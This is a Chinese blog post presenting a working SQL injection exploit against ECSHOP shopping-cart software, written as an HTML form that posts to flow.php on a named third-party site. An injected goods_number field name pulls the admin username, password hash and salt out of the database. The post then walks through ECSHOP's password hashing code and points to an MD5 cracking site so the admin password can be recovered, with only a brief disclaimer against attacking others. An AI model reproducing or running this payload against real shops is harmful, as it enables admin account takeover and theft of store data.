我呢?在网上找了一下,然后根据代码重新编写了一下发现了这个安全漏洞; 前提只是为了做安全使用,请勿攻击他人网站

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>ECSHOP破解密码工具</title>
</head>
<body>
<form id="form1" name="form1" method="post" action="http://www.baidugx.cn/flow.php">
<input type="text" name="goods_number[' AND (SELECT 1 FROM (SELECT count( * ) , concat( (SELECT concat( 0x23, user_id, 0x23, user_name, 0x7e, password,0x7e,ec_salt,0x23 ) FROM ecs_admin_user limit 0,1), floor( rand( 0 ) *2 ))x FROM information_schema.tables GROUP BY x)a) -- ]" value="1" />
<input type="text" name="step"  value="update_cart" />
<input type="submit" />
</form>
</body>
</html>
</pre>
2.72中没有ec_salt这个字段,而且加密方式就是md5($password);所以提交之后就能破解密码;
但是2.73中我们发现数据库多了ecs_salt这个字段,那我们在看一下加密方式,
先看includes/modules/integrates/integrate.php中add_user()方法.里面有一段加密的代码
<pre lang="php" line="1">
 if ($md5password)
        {
            $post_password = $this->compile_password(array('md5password'=>$md5password));
        }
        else
        {
            $post_password = $this->compile_password(array('password'=>$password));
        }
function compile_password ($cfg)
    {
       if (isset($cfg['password']))
       {
            $cfg['md5password'] = md5($cfg['password']);
       }
       if (empty($cfg['type']))
       {
            $cfg['type'] = PWD_MD5;
       }

       switch ($cfg['type'])
       {
           case PWD_MD5 :
              	if(!empty($cfg['ec_salt']))
		       {
			       return md5($cfg['md5password'].$cfg['ec_salt']);
		       }
			   else
		       {
                    return $cfg['md5password'];
			   }

           case PWD_PRE_SALT :
               if (empty($cfg['salt']))
               {
                    $cfg['salt'] = '';
               }

               return md5($cfg['salt'] . $cfg['md5password']);

           case PWD_SUF_SALT :
               if (empty($cfg['salt']))
               {
                    $cfg['salt'] = '';
               }

               return md5($cfg['md5password'] . $cfg['salt']);

           default:
               return '';
       }
    }
这些代码中我们可以看出来,如果原始的密码没有改变的就是md5($password)如果修改之后的就是md5(md5($password).$salt); $salt=数据库esc_salt里边的值 这样我们就知道后台密码了!解密网站http://www.md5crack.com/crackmd5.php 千万不要去攻击别人哦! 欢迎转载,转载请注明来自微度网络yun.widuu.com

点赞(0) 打赏

评论列表 共有 0 条评论

暂无评论
立即
投稿

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部